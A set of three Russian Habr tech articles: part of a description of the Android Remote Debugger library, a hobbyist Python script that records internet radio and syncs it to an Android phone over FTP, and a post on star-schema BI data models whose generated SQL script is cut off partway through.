При инициализации библиотеки в Вашем приложении запускается локальный сервер. В качестве веб-сервера используется [NanoHTTPD](https://github.com/NanoHttpd/nanohttpd). Затем Вы получаете уведомление об успешном или неуспешном запуске. Сервер может не запуститься, если Вы, к примеру, уже запустили сервер в другом приложении с портом 8080. И в уведомлении Вам будет предложено повторить попытку запуска с текущим портом или повторить запуск с другим портом. Порт Вы также можете указать заранее в `AndroidRemoteDebugger.Builder`.
#### Logging
Данный раздел позволяет просматривать логи приложения. При необходимости можно выполнять фильтрацию сообщений по приоритету, по тегам и по подстрокам. Для удобства у всех сообщений установлен свой цвет текста, в зависимости от приоритета. Все логи также можно скачать.
Для логирования сообщений нужно вызвать статический метод `AndroidRemoteDebugger.Log`. Данный метод имеет множество разных перегрузок. Вызывать их можно в любом месте вашего приложения. При их вызове сообщение сразу сохраняется в базе данных, а в разделе Logging каждую секунду отправляется запрос на сервер на получение новых логов. На данный момент все логи очищаются при следующем запуске приложения.
Пример вызова: `AndroidRemoteDebugger.Log.d("tag", "message")`.
Также очень удобно использовать данный метод логирования совместно с библиотекой [Timber](https://github.com/JakeWharton/timber) (автором которой является Jake Wharton), пример:
```
class AndroidRemoteDebuggerTree extends Timber.Tree {
@Override
protected void log(int priority, @Nullable String tag, @NotNull String message, @Nullable Throwable t) {
AndroidRemoteDebugger.Log.log(priority, tag, message, t);
}
}
...
public class App extends Application {
@Override
public void onCreate() {
super.onCreate();
Timber.plant(new Timber.DebugTree(), new AndroidRemoteDebuggerTree());
}
}
```
#### Network
Раздел Network позволяет просматривать все сетевые запросы и ответы в компактном и расширенном виде. В компактном виде не отображаются тело и заголовки запросов. В расширенном виде вы видите всю информацию. Принцип получения данных в этом разделе практически аналогичен разделу Logging. При необходимости можно выполнить фильтрацию по HTTP коду ответа или по подстрокам. Можно также показывать только те запросы, в которых произошла ошибка. Как и в разделе Logging, все логи можно скачать.
Для работы этого раздела необходимо использовать библиотеку [OkHttp3](https://github.com/square/okhttp) и добавить интерцептор NetLoggingInterceptor. Для получения достоверных данных рекомендуется добавить его последним, после других интерцепторов.
Пример:
```
OkHttpClient client = new OkHttpClient.Builder()
// other interceptors
.addInterceptor(new NetLoggingInterceptor())
.build();
```
#### Database
Данный раздел позволяет просматривать базы данных. Ничего дополнительного для его работы делать не нужно. Необходимо только выбрать базу данных и таблицу. Данные будут показываться страницами по 15 записей. Можно выполнить поиск данных, удалить записи, редактировать их. Можно также выполнить любой sql-запрос.
#### SharedPreferences
Данный раздел позволяет просматривать все файлы SharedPreferences. Можно выбрать любой файл и просмотреть, удалить, изменить или добавить запись. Также есть возможность удалить сам файл SharedPreferences со всеми данными. Кроме того, можно выполнить поиск по подстрокам.
### Как подключить Android Remote Debugger
Добавьте в корневой build.gradle следующий репозиторий:
```
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
```
Добавьте в build.gradle вашего модуля следующую зависимость:
```
dependencies {
implementation 'com.github.zerobranch:android-remote-debugger:1.0.0'
}
```
### Итог
Android Remote Debugger:
* позволяет выполнять удаленную отладку через браузер;
* включает в себя сразу несколько инструментов отладки;
* ориентирован не только на разработчиков;
* для работы не требует подключения Android устройства к компьютеру;
* прост в использовании.
### GitHub
[Подробные инструкции по работе и подключению библиотеки можно найти на GitHub](https://github.com/zerobranch/android-remote-debugger) | https://habr.com/ru/post/488514/ | null | ru | null |
# Android, Ubuntu и Python: автоматизация записи интернет-радио и синхронизация on-air
Привет всему сообществу Хабра!
Наверняка многие по дороге 'дом' <--> 'работа' слушают в пути музыку со своего Android-фона. Я тоже частенько досыпаю в метро под бодрый breaks лишние 10-20 минут. В очередной поездке до места оперативного базирования, наслаждаясь треками, которым уже «сто лет в обед» сделал себе заметку в голове, что нужно бы обновить вечерком фонотеку. Конечно же, заметка была благополучно забыта в вихрях рабочего дня, и на следующее утро я опять ехал с заезженной пластинкой. Немного прикинул и решил, что надо бы автоматизировать этот процесс, дабы исключить мое богомерзкое влияние на дело автоматизации.
Заинтересованным гражданам — добро пожаловать под кат.
Выбор стратегии был определен еще во время поездки, благо небольшой «черный гробик» aka сервер на Atom`е, с Ubuntu на борту был в моем домашнем распоряжении. Решение было такое: некий демонёнок стримит поток интернет-радио на сервере, а скрипт на змеюке занимается всем остальным: рассортировывает по папкам треки, создает плейлисты, и каким-либо образом сливает все добро на смартфон, желательно ночью.
После общей концепции встал выбор конкретной реализации задуманного. Итак, приступим по порядку:
##### Внимание! Все разговоры записываются.
Запись потока вещания. В качестве «захватчика» выбрал небольшую консольную утилиту [streamripper](http://streamripper.sourceforge.net/). Умеет делать, все что нужно и даже больше. Достаточно передать ей адрес потока и еще несколько настроек: где хранить треки и как их обзывать.
##### Используем Python
Сам я по роду своей деятельности непосредственно не связан с IT-инфраструктурой. Просто иногда, в случае каких либо стандартных действий, проще написать скрипт или обработчик, и со спокойно совестью заниматься основной работой, а не тратить ее на рутину. Терпеть не могу, когда вдруг оказывается нужно проверить 100 позиций и узнать дату доставки у поставщика. При этом конечно же поставщик, как искренне заботливый и заинтересованный в продажах вендор, решительно не вступает в 21 век, оставляя одно поле для одной позиции в форме на сайте. Массовая обработка запросов и синхронизация БД? Не, не слышали) Через это, проще поднять Апач и натравить на это безобразие curl, чем сидеть битый час и заниматься «копи-пастом». Прикинув, что же будет лучше, из моего багажа знаний выбрал python. На нем и будет основываться весь скелет, который соберет воедино систему синхронизации данных.
##### Samba, FTP или SSHfs
Далее — каким образом перекачивать информацию на смартфон? Вообще, поскольку Android сам является мегапотомком \*никсов, проблем с выбором интерфейса передачи быть не должно. Быстро прошуршав гугломаркет, нашел все, что необходимо в качестве серверной части для Androida. Оказалось, что имеется в наличии Samba, SSHfs и стандартный FTP. После нескольких тестовых перекачек с сервера на андроид 2-3 Гб треков остановился на FTP, хотя приятней конечно же было работать по SSHfs. Только вот незадача — то ли мой смарт(перешитый на Android HTC HD2) не справлялся с нагрузкой, то ли была криво реализована передача ключей или еще что, но как факт у меня остался осадочек и по Самбе, и по ssh. Периодически случались обрывы записи, особенно на больших объемах (over 0.7-1Gb), терялись ключи, либо неверно выдавались права доступа для юзера sshfs. В общем, с учетом стабильного FTP, разбираться баг ли это разработчиков или моих рук решительно расхотелось и остался последний момент. FTP сервер должен был подниматься на телефоне либо по команде с сервера, либо по собственному планировщику. В любом случае, нужно было разобраться с консолью в Андроиде и передать приложению intent.action на запуск сервера. И вот тут меня поджидало разочарование — ни один из клиентов (может плохо искал?) не имел ничего похожего в описании AndroidManifest.xml. Т.е. сам запуск приложения был возможен, а вот старт сервера — уже нет. Мне просто случайно повезло, что я заметил в функциях к замечательному приложению [FTPServer](https://play.google.com/store/apps/details?id=lutey.FTPServer&hl=ru) такую особенность как «стартовать FTP — сервер, при подключении к выбранной wi-fi сети». Вот теперь и эта задача была решена.
##### Android
И последний вопрос. Он больше связан с самим устройством операционной системы Android, а именно с ее высоким энергопотреблением. Сам FTP сервер все время держит включенным wi-fi и дисплей, не давая таким образом уходить в сон устройству, что и правильно, иначе Android отключит сеть и FTP сервер будет недоступен. Таким образом, задача свелась к следующему: запускать FTP, при наличии зарядки, ночью и при нахождении в зоне действия домашнего wi-fi. Вспомнилась когда-прочитанная заметка на Хабре о программе [Tasker](https://play.google.com/store/apps/details?id=net.dinglisch.android.taskerm), которая поддерживала написание несложных скриптов и переключение функций телефона в зависимости от разных условий. Программа была немедленно скачана, изучена и опробована. Результат удовлетворил более чем.
##### Итоги
Как итог, в общем связка действовала таким образом: со стороны смартфона ночью (за несколько минут до старта скрипта на сервере), при наличии зарядки и доступности домашней сети стартовал FTPServer, который находился в сети 2 часа, после чего телефон уходил на ребут, что бы обновить медиатеку файлов и сделать доступными плейлисты. Со стороны сервера Ubuntu происходила запись потока с помощью streamrippera, а с помощью крона так же ночью стартовал скрипт, который делал следующее:
* проверял: запущен ли streamripper и нет ли его копий в процессах. Если подобного не находилось, то скрипт организовывал отдельный дочерний процесс работы streamrippera.
* рассортировывал скачанные треки по папкам в формате 'Название радио — ДД.ММ.ГГГГ'
* в этих же папках создавал плейлист \*.m3u согласно времени создания mp3 файла. Т.е. фактически в том порядке, как они звучали на радио.
* для экономии места, удалял старые записи на сервере (лимит прописан в скрипте)
* удалял старые записи на Андроиде (лимит прописан в скрипте)
* добавлял новые на Андроид (лимит прописан в скрипте)
Такая небольшая домашняя автоматизация живет у меня уже пару недель и серъезных багов замечено пока не было. Особенно приятно вставать утром, нацепить наушники и радоваться, что новой музыки вдоволь и весь процесс переноса записей происходит в фоне для меня, как человека.
Собственно, вот такая небольшая история не столько о музыке, а о тех возможностях, которые нам сегодня дают современные разработки для того, что бы сделать жизнь более удобной, оставляя время на творчество, а не на рутину.
*##### Использованные «материалы»:
* FTP сервер для Android [FTPServer](https://play.google.com/store/apps/details?id=lutey.FTPServer&hl=ru)
* планировщик, обладающий расширенными возможностями для Android [Tasker](https://play.google.com/store/apps/details?id=net.dinglisch.android.taskerm)
* Python
* операционная система Ubuntu Server 12.04
* мобильный телефон HTC HD2 с операционной системой Android на борту*
##### P. S.
Пара рекомендаций и замечаний:
* на роутере лучше выполнить привязку по mac-адресу для своего смартфона, что бы сделать постоянную выдачу только одного ip адреса ftp сервера
* периодически проверяйте свободное место на flash-карте телефона
* в среднем одни сутки потока (при 128кбит/с) занимают 0.8-1.2Гб
* скорость передачи от сервера до смартфона по воздуху составляет примерно 2.5-3Мб/С
Ниже предоставлю текст скрипта, в общем там довольно много пояснений, должно быть понятно «на лету».
```
#!/usr/bin/python
# -*- coding: utf-8 -*-
#******************Необходимые библиотеки*******************
#***********************************************************
import os
import shutil
from datetime import *
import time
from operator import itemgetter
from ftplib import FTP
import ftplib
import subprocess
import commands
#***********************************************************
#******************Необходимые библиотеки*******************
#******************Входные параметры************************
#***********************************************************
dir_exec = '' #Исходная папка, в которой будет лунапарк с блэкджеком и шлюхами
dir_music = '' #Папка, в которую будет писаться поток инет-радио(она же создается при старте streamripper)
dir_music = os.path.join(dir_exec,dir_music) #Абсолютный путь до папки
alias_dir = '' #Как будем обзывать папку. Полный формат: 'Название радио - ДД.ММ.ГГГГ'
time_shift = 3 #разница в часах между Вами и городом вещания
time_sync = 4 #Количество дней, которые синхронизируем с Андроидом
time_storage = 30 #Количество дней, которые храним в записи на серваке
server = '192.168.1.126' #FTP server, который поднимем на Андроиде
login = '' #Логин FTP
pass_ftp = ' ' # Пароль FTP
port = '2121' #Порт FTP
andr_music = '/mnt/sdcard/Music' #Папка музыки на FTP
rec_proc = ['streamripper', 'адрес потока радио', '-d', '-D', '%S/%A-%T'] #Параметры запуска streamrippera`а
#***********************************************************
#******************Входные параметры************************
#******************Описание функций*************************
#***********************************************************
#***Запустить процесс записи радиостанции через streamripper (если он еще не запущен) путем организации дочернего процесса без shell`а
def start_rec(proc_stream):
num = commands.getoutput('pidof %s |wc -w' % proc_stream)
if int(num) >= 2:
os.system('killall ' + proc_stream)
num = commands.getoutput('pidof %s |wc -w' % proc_stream)
if int(num) == 0:
proc = subprocess.Popen([rec_proc[0], rec_proc[1], rec_proc[2], dir_exec, rec_proc[3], rec_proc[4],], stdout=subprocess.PIPE)
#***Функция проверки в сети или нет ftp-сервер
def ftp_online():
ftpConnect = FTP()
try:
ftpConnect.connect(server,port)
ftpConnect.login(login, pass_ftp)
ftpConnect.quit()
ftpConnect.close()
enable = 1
except:
enable = 0
return enable
#***Функция создания папки, если ее нет.
def mdir(create_dir):
if not os.path.isdir(create_dir):
os.makedirs(create_dir)
#***Функция получения уникальных дат из списка всех доступных дат создания треков
def uniq_date(lst):
return reduce(lambda y,z: not (z in y) and y.append(z) or y, lst, [])
#***Определение даты записи mp3 файла
def date_mp3(path_dir_music):
out_date=[]
names = os.listdir(path_dir_music)
for name in names:
if name.endswith('mp3'):
path = os.path.join(path_dir_music,name)
mtime = os.path.getmtime(path) - time_shift*60*60
out_date.append(date.fromtimestamp(mtime).strftime('%d.%m.%Y'))
return out_date
#***Определение имени mp3 файла
def name_mp3(path_dir_music):
out_name=[]
names = os.listdir(path_dir_music)
for name in names:
if name.endswith('mp3'):
out_name.append(name)
return out_name
#***Функция создания плейлиста. Треки в плейлисте идут в порядке очередности звучания в эфире.
def m3u(dir,path):
m3u_n_d = []
m3u_n_s = []
m3u_names = name_mp3(path)
i=0
for m3u_name in m3u_names:
m3u_mtime = os.path.getmtime(os.path.join(path,m3u_name)) - time_shift*60*60
m3u_n_d.append([m3u_name,m3u_mtime])
i=i+1
m3u_n_d = sorted(m3u_n_d, key=itemgetter(1))
w = open(path+'/'+dir+'.m3u','w')
w.write('#EXTM3U\n') #EXTM3U поставим заголовок m3U
for i in range(i):
#w.write('./'+m3u_n_d[i][0]+'\n') #Обычный формат плейлиста
w.write(m3u_n_d[i][0]+'\n') #Формат плейлиста для PowerAmp
w.close
#***Функция получения списка файлов и директорий методом NLST.
def ftp_nlst(pwd):
log = []
ftpConnect.cwd(pwd)
ftpConnect.retrlines('NLST', callback=log.append)
return log
#***Функция получения списка файлов и директорий методом LIST
def ftp_list(pwd):
log = []
file_ftp = []
ftpConnect.cwd(pwd)
ftpConnect.retrlines('LIST', callback=log.append)
files = (line.split(':')[1] for line in log)
p = list(files)
for name in p:
file_ftp.append((name[3:]))
return file_ftp
#***Функция получения разницы дней между папкой и между сегодняшней датой
def num_day(dir_time):
date_ = time.mktime(time.strptime(dir_time.split(' - ')[1],'%d.%m.%Y'))
now_ = time.time()
day_beet = (now_-date_)/(60*60*24)
return int(day_beet)
#***********************************************************
#******************Описание функций*************************
#******************Тело скрипта*****************************
#***********************************************************
#Запустим запись
start_rec(rec_proc[0])
#Получим список уникальных дат и создадим папки под них
creates_dirs = []
u_dates = uniq_date(date_mp3(dir_music))
j=0
for u_date in u_dates:
mdir(os.path.join(dir_exec,alias_dir+u_date))
creates_dirs.append([alias_dir+u_date,os.path.join(dir_exec,alias_dir+u_date)])
j=j+1
#Пробежимся по списку mp3 файлов и раскидаем их по разным папкам
out_names = name_mp3(dir_music)
for out_name in out_names:
path = os.path.join(dir_music,out_name)
mtime = os.path.getmtime(path) - time_shift*60*60
out_date_temp = date.fromtimestamp(mtime).strftime('%d.%m.%Y')
shutil.move(os.path.join(dir_music,out_name),os.path.join(dir_exec,alias_dir+out_date_temp,out_name))
#Запишем в каждой папке свой плейлист
for j in range(j):
m3u(creates_dirs[j][0],creates_dirs[j][1])
#Удаляем старые папки на сервере
dir_rem_serv = os.listdir(dir_exec)
for dir_rem_s in dir_rem_serv:
if dir_rem_s[:15] == alias_dir:
if num_day(dir_rem_s) > time_storage:
shutil.rmtree(os.path.join(dir_exec,dir_rem_s))
#Удаляем старые папки на андроиде
if ftp_online() == 1:
ftpConnect = FTP()
ftpConnect.connect(server,port)
ftpConnect.login(login, pass_ftp)
ftpConnect.cwd(andr_music) #Переходим в папку музыки на Андроиде
st = ftpConnect.pwd() #Сохранем это значение в переменную
dir_on_root = ftp_list(st)
for dir_rem in dir_on_root:
if dir_rem[:15] == alias_dir:
if num_day(dir_rem) > time_sync:
ftpConnect.cwd(os.path.join(st,dir_rem))
files_rem = ftp_list(os.path.join(st,dir_rem))
for file_rem in files_rem:
ftpConnect.delete(file_rem) #Удаляем все файлы из старого каталога
ftpConnect.cwd(st)
ftpConnect.rmd(os.path.join(st,dir_rem)) #Удаляем сам каталог
ftpConnect.quit()
ftpConnect.close()
#Заливаем папки на андроид
dir_names = os.listdir(dir_exec)
for dir_name in dir_names:
if dir_name[:15] == alias_dir:
if num_day(dir_name) <= time_sync and ftp_online() == 1:
ftpConnect = FTP()
ftpConnect.connect(server,port)
ftpConnect.login(login, pass_ftp)
ftpConnect.cwd(andr_music) #Переходим в папку музыки на Андроиде
st = ftpConnect.pwd() #Сохранем это значение в переменную
dir_on_root = ftp_list(st)
if dir_name not in dir_on_root:
ftpConnect.mkd(os.path.join(st,dir_name))
ftpConnect.cwd(os.path.join(st,dir_name))
list_files = os.listdir(os.path.join(dir_exec,dir_name))
files_on_dir = ftp_list(os.path.join(st,dir_name))
for file in list_files:
st_file = str(os.path.join(dir_exec,dir_name,file))
if file not in files_on_dir:
ftpConnect.storbinary('STOR ' + file, open(st_file, 'rb'),1024)
if file.endswith('m3u'):
ftpConnect.storbinary('STOR ' + file, open(st_file, 'rb'),1024)
ftpConnect.quit()
ftpConnect.close()
#***********************************************************
#******************Тело скрипта******************************
``` | https://habr.com/ru/post/146272/ | null | ru | null |
# «Звезда» — оптимальная структура данных при переходе на российский BI
Бизнес-аналитика — интереснейшее направление работы с данными. С одной стороны пользователи хотят видеть красивые дашборды и простые self-service платформы, а с другой стороны, для организации всего этого порой требуется колоссальная работа по организации витрин, моделей данных, оптимизации запросов, а вместе с этим — мощный сервер для переработки миллиардов записей. В этом посте я расскажу о том, почему для работы с BI сегодня как никогда актуальна такая модель данных как “Звезда”, и как ее использование помогает улучшать эффективность бизнес-аналитики на любых BI-платформах.
Привет, Хабр! Меня зовут Евгений Стучалкин, я — независимый эксперт в области BI. Исторически наш проект BI2BUSINESS работал в сфере Qlik Sense. За девять лет мы реализовали десятки проектов, и некоторые из них были действительно очень крупными. Все это заставило в свое время задуматься об архитектуре хранилищ данных и использовании оптимальных моделей. Забегая вперед, скажу что поэтому еще 4 года назад мы создали концепцию перехода на “Звезду” для любых проектов, даже если изначально в них не подразумевалось использование такой модели данных.
### Полезные наработки
Впрочем, совсем недавно рынок BI очень сильно изменился. И те компании, которые выбирали для своей работы Qlik теперь вынуждены принимать решение — что же делать дальше? Я знаю, что кто-то пользуется VPN для работы с привычными сервисами, кто-то подменяет регионы и пока умудряется зайти с использованием казахстанских юридических лиц. Но все это похоже скорее на временный выход из ситуации. Ведь надежная система, которая лежит в основе каких-либо серьезных корпоративных процессов, не может так выглядеть.
Мы начали изучать российский рынок BI, и нашли на нем много разнообразных решений. Хорошая новость была в том, что такие решения действительно есть, хотя, ни одно из них, конечно, пока не может полностью заменить Qlik Sense или Microsoft Power BI. Но главное, что наши прошлые наработки оказались полезны для того, чтобы приступить к созданию универсальных аналитических систем на базе российского ПО.
Именно этими соображениями недавно делился на конференции, в ходе которого подробно рассказал о том, как на базе Visiology, Loginom и открытого хранилища данных создать BI-платформу, практически не уступающую западным аналогам. Но об этом мы обязательно поговорим в следующем посте. А сегодня сосредоточимся на том, что стало ключевой идеей для решения этой задачи — универсальной модели данных.
### Почему нужно заботиться о модели данных
Сегодня многие столкнулись с проблемой смены BI-платформы, но это не единственная неприятность, которая может случиться, если при работе с данными специалисты не придерживаются стандартов. Дело в том, что ландшафт может измениться в любое время, например, если вам потребуются дополнительные источники данных, если расчеты станут сложнее, если компания будет поглощена другой организацией или произойдет слияние двух структур. Очень часто, начав с проекта, где отчеты строятся из нескольких таблиц, со временем мы сталкиваемся с экспоненциальным ростом сложности ландшафта данных. Поэтому если не следить за порядком, даже для одного пользователя все это превращается в зоопарк, а для многопользовательской среды неуправляемый рост наборов данных обеспечивает просто кошмар!
Приведу пример с одного проекта. На изображении каждая точка — это таблица данных с витриной. А нарисованные графы отражают реальные взаимосвязи. Тут нет ничего надуманного или переусложненного, все четко по делу. Но за два года структура данных настолько выросла.
Мы справились с этим благодаря тому, что отдельные отчеты используют определенные части этого “клубка”. Стандарты позволяют работать со всем ландшафтом как с единой структурой, но брать только часть ее для вычислений. При этом все показатели фиксируются одинаково для любых отчетов и система может усложняться дальше без потери гибкости и возможностей анализа.
### Знакомимся со “Звездой”
Чтобы сохранить управляемость, мы стремились управлять именно структурой хранения данных. И еще когда мы работали с Qlik на многих проектах возникала потребность в автоматизации процессов генерации модели данных. Эта методика оказалась универсальной и после портирования на SQL она теперь подходит для любого аналитического хранилища с поддержкой SQL.
Для набора витрин мы создаем топологию “Звезда”. Это общепринятая и рекомендованная структура в мире бизнес-аналитики. В отличие от прямых связей между таблицами (в реляционных моделях, к которым, кстати, относится PowerBI), она позволяет избежать путаницы и сохранить структуру, которую можно потом использовать любыми инструментами.
***Центральный мост “Звезды” — это таблица, в которую добавлены блоки ключевых полей из тех таблиц, связанных друг с другом.***
Для организации “Звезды” может применяться несколько вариантов компоновки.
Вариант 1. В центре — только ключевые поля, а поля для мер и измерений — в боковых таблицах. Такой способ подходит для BI-движков с двунаправленными связями, которые позволяют реализовать более сложные сценарии связи данных (один ко многим, многие ко многим), а в некоторых случаях — также оптимизировать размер центральных таблиц. Плюс при наличии двухсторонней связи мы можем достучаться измерениями одной внешней таблицы до мер другой внешней таблицы через центр.
Вариант 2. В центральную таблицу размещаются не только ключевые поля, но и поля для вычисления мер. Так как при использовании односторонних связей для центральной таблицы все связи являются входящими, единственный способ достучаться до полей мер из любой внешней таблицы — разместить их (поля) в центре. Такая модель имеет меньше гибкости в сценариях связи (нельзя реализовать один ко многим, многие ко многим), потому что реализация этих сценариев подразумевает размножение строк в центральной таблице. А если в этих строках будут значения мер, они тоже размножатся. Однако, у такой структуры есть большой плюс — с ней может работать практически любой современный BI-инструмент
Вариант 3. “Черная дыра” — в центральную таблицу объединены ВСЕ, абсолютно все данные. Подходит даже для самых деревянных инструментов, но, естественно, негативно сказывается на размерах и требованиях к ресурсам хранилища.
### Плюсы работы со “Звездой”
Плюсы звезды достаточно очевидны. Для начала ее очень просто эксплуатировать. Вся работа строится через центральное ядро, а при необходимости происходит переход в “лучевые” таблицы для забора нужных данных.
Со “Звездой” оказываются реализуемы любые сценарии и сложности связей. Результаты при запросе данных можно получить через одинаковое количество шагов, доступна высокая степень автоматизации при работе с данными.
Наконец, в случае со “Звездой”, можно реализовать такую логику взаимосвязей, которая в реляционной модели вообще не поднять. Подобное бывает нужно при различных кейсах подготовки данных — эту тему я постараюсь раскрыть в следующих постах.
### Минусы “Звезды”
Конечно, как и у любого другого подхода у “Звезды” есть и минусы. Первым из них (и о нем все сразу говорят, когда речь заходит о “Звезде”) является избыточность. При бездумной организации получается огромный массив, настоящая BigData. Таким образом, без должной оптимизации, “Звезда” может сожрать всю память и все свободное место.
Некоторые также говорят про большое количество вычислительных мощностей, но тут я не соглашусь. Учитывая механику работы движков BI, чем сильнее денормализована модель, чем она ближе к единому комку — идеальной таблице — тем меньше нужно процессорных ресурсов для работы. А в контексте именно бизнес-аналитики есть довольно много способов оптимальной работы с данными, находящимися в “Звезде”.
1. **Генерация моделей данных на лету.** Например, если у вас есть дата-сет из 100 таблиц, вам не нужно заранее строить связи для всех ко всем. Нужны только связи тех таблиц, которые анализируются друг с другом. И это сильно разгружает память
2. **Использование агрегированных данных.** Если у вас есть транзакционные таблицы на миллиарды записей, это вовсе не значит, что все расчеты и показатели нужно вести на базе этих сырых данных. Мы можем создать агрегированные витрины, которые будут содержать на порядки меньше данных, но давать достаточно полную картину.
3. **Прямые запросы и ROLAP.** Функционал позволяет часть данных обрабатывать в памяти, а за остальным обращаться в СУБД (кстати, такое как раз есть у платформы Visiology, которую мы использовали в демо). То есть углубление и детализация происходит только если это действительно нужно.
4. **Использование отфильтрованных витрин.** Если кампания накопления данных насчитывает, скажем, 10 лет, а в аналитике используется 3 последних года, нет никакой необходимости бездумно грузить в BI все записи за декаду.
Применяя эти и некоторые другие разумные оптимизации за 4 года, которые мы работаем только на “Звезде” с проблемой избыточности мы не столкнулись НИ РАЗУ, спокойно работая с дата-сетами на десятки миллионов строк.
### Тонкости разработки
Но от чего не уйти, так это от сложностей с разработкой. “Звезду” достаточно сложно создавать. Увы, в большинстве случаев оказывается недостаточно взять ключевые поля из таблиц и сопоставить их друг другу. Нужно провести наследование связей и проконтролировать этот процесс.
Если взять последовательно соединенные таблицы, вы без проблем проследите связи между ними. Но если собирать “Звезду” из ключевых полей, то возникают всяческие нюансы. Например, в таблице со следками оказывается не виден идентификатор компании из таблицы Leads. Логика связей не позволяет их проследить. Поэтому для дальнейшей работы нужно добавить ID-компаний.
*В таблице Leads нет поля CompanyID. Значит, связь Сделок и Компаний работать не будет*
Такие ревизии нужно повторять для всех цепочек связей и распространять на все ветки. Работа, прямо скажем, изнурительная. К тому же тут могут возникать конфликты, если будут попадаться ранее присоединенные ключевые поля.
Однако автоматизация этого процесса все-таки возможна. Для управления генерацией мы используем метаданные 2-х видов. Первое — это список таблиц, полей и первичных ключей витрин. В частности, уже создан готовый модуль для Loginom, который позволяет автоматически формировать эти данные при сохранении таблиц в БД, так что с ведением этого справочника никаких сложностей нет.
Второй вид метаданных — ассоциации модели. Тут содержится перечень ключевых полей для формирования и их сопоставление с первичными ключами таблиц, а также перечень не ключевых полей, которые мы можем захотеть добавить в центральную таблицу.
Чтобы автоматизировать формирование модели данных, генерируется специальный скрипт. Это просто набор запросов SQL. Желающие могут посмотреть под спойлером.
Hidden text
```
--Basic link blocks
DROP TABLE IF EXISTS "Visiology_DM_Categories_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Categories_LINK_BLOCK" AS SELECT
'Categories' AS "DM_Entity",
"CAT__Category_ID", 'CAT__Category_ID' AS "CAT__Category_ID_TYPE"
from "Categories";
DROP TABLE IF EXISTS "Visiology_DM_Companies_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Companies_LINK_BLOCK" AS SELECT
'Companies' AS "DM_Entity",
"COM__Company_ID", 'COM__Company_ID' AS "COM__Company_ID_TYPE",
"COM__Region_ID" AS "REGC__Region_ID", 'COM__Region_ID' AS "REGC__Region_ID_TYPE",
"COM__UserID" AS "USR__User_ID", 'COM__UserID' AS "USR__User_ID_TYPE"
from "Companies";
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Contacts_LINK_BLOCK" AS SELECT
'Contacts' AS "DM_Entity",
"CON__Contact_ID", 'CON__Contact_ID' AS "CON__Contact_ID_TYPE",
"CON__Company_ID" AS "COM__Company_ID", 'CON__Company_ID' AS "COM__Company_ID_TYPE"
from "Contacts";
DROP TABLE IF EXISTS "Visiology_DM_Products_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Products_LINK_BLOCK" AS SELECT
'Products' AS "DM_Entity",
"PRD__Product_ID", 'PRD__Product_ID' AS "PRD__Product_ID_TYPE",
"PRD__Category_ID" AS "CAT__Category_ID", 'PRD__Category_ID' AS "CAT__Category_ID_TYPE"
from "Products";
DROP TABLE IF EXISTS "Visiology_DM_Regions_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Regions_LINK_BLOCK" AS SELECT
'Regions' AS "DM_Entity",
"REG__Region_ID", 'REG__Region_ID' AS "REG__Region_ID_TYPE"
from "Regions";
DROP TABLE IF EXISTS "Visiology_DM_Regions_for_companies_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Regions_for_companies_LINK_BLOCK" AS SELECT
'Regions_for_companies' AS "DM_Entity",
"REGC__Region_ID", 'REGC__Region_ID' AS "REGC__Region_ID_TYPE"
from "Regions_for_companies";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Sales_LINK_BLOCK" AS SELECT
'Sales' AS "DM_Entity",
"SLS__Sales_Comp_Key", 'SLS__Sales_Comp_Key' AS "SLS__Sales_Comp_Key_TYPE",
"SLS__User_ID" AS "USR__User_ID", 'SLS__User_ID' AS "USR__User_ID_TYPE",
"SLS__Contact_ID" AS "CON__Contact_ID", 'SLS__Contact_ID' AS "CON__Contact_ID_TYPE",
"SLS__Product_ID" AS "PRD__Product_ID", 'SLS__Product_ID' AS "PRD__Product_ID_TYPE"
from "Sales";
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Sales_plan_LINK_BLOCK" AS SELECT
'Sales_plan' AS "DM_Entity",
"PLN__Plan_Comp_Key", 'PLN__Plan_Comp_Key' AS "PLN__Plan_Comp_Key_TYPE",
"PLN__Plan_month" AS "DATE", 'PLN__Plan_month' AS "DATE_TYPE",
"PLN__User_ID" AS "USR__User_ID", 'PLN__User_ID' AS "USR__User_ID_TYPE"
from "Sales_plan";
DROP TABLE IF EXISTS "Visiology_DM_Users_LINK_BLOCK";
CREATE TABLE "Visiology_DM_Users_LINK_BLOCK" AS SELECT
'Users' AS "DM_Entity",
"USR__User_ID", 'USR__User_ID' AS "USR__User_ID_TYPE",
"USR__Region_ID" AS "REG__Region_ID", 'USR__Region_ID' AS "REG__Region_ID_TYPE"
from "Users";
--Multy-variant association
--- Expanding association DATE for Sales
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK_DATE";
CREATE TABLE "Visiology_DM_Sales_LINK_BLOCK_DATE" AS SELECT
"SLS__Sales_Comp_Key",
"SLS__CreateDate" AS "DATE", 'SLS__CreateDate' AS "DATE_TYPE"
from "Sales" WHERE "SLS__CreateDate" IS NOT NULL
UNION
SELECT
"SLS__Sales_Comp_Key",
"SLS__CloseDate" AS "DATE", 'SLS__CloseDate' AS "DATE_TYPE"
from "Sales" WHERE "SLS__CloseDate" IS NOT NULL;
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK_JOIN";
CREATE TABLE "Visiology_DM_Sales_LINK_BLOCK_JOIN" AS SELECT * FROM "Visiology_DM_Sales_LINK_BLOCK"
LEFT JOIN "Visiology_DM_Sales_LINK_BLOCK_DATE" USING ("SLS__Sales_Comp_Key");
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
ALTER TABLE "Visiology_DM_Sales_LINK_BLOCK_JOIN" RENAME TO "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE "Visiology_DM_Sales_LINK_BLOCK_DATE";
--Association restoration
--Link restoration for Companies from Users, level 1
DROP TABLE IF EXISTS "Visiology_DM_Companies_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Companies_LINK_RESTORE_PART" AS SELECT DISTINCT
"USR__User_ID",
"REG__Region_ID", "REG__Region_ID_TYPE"
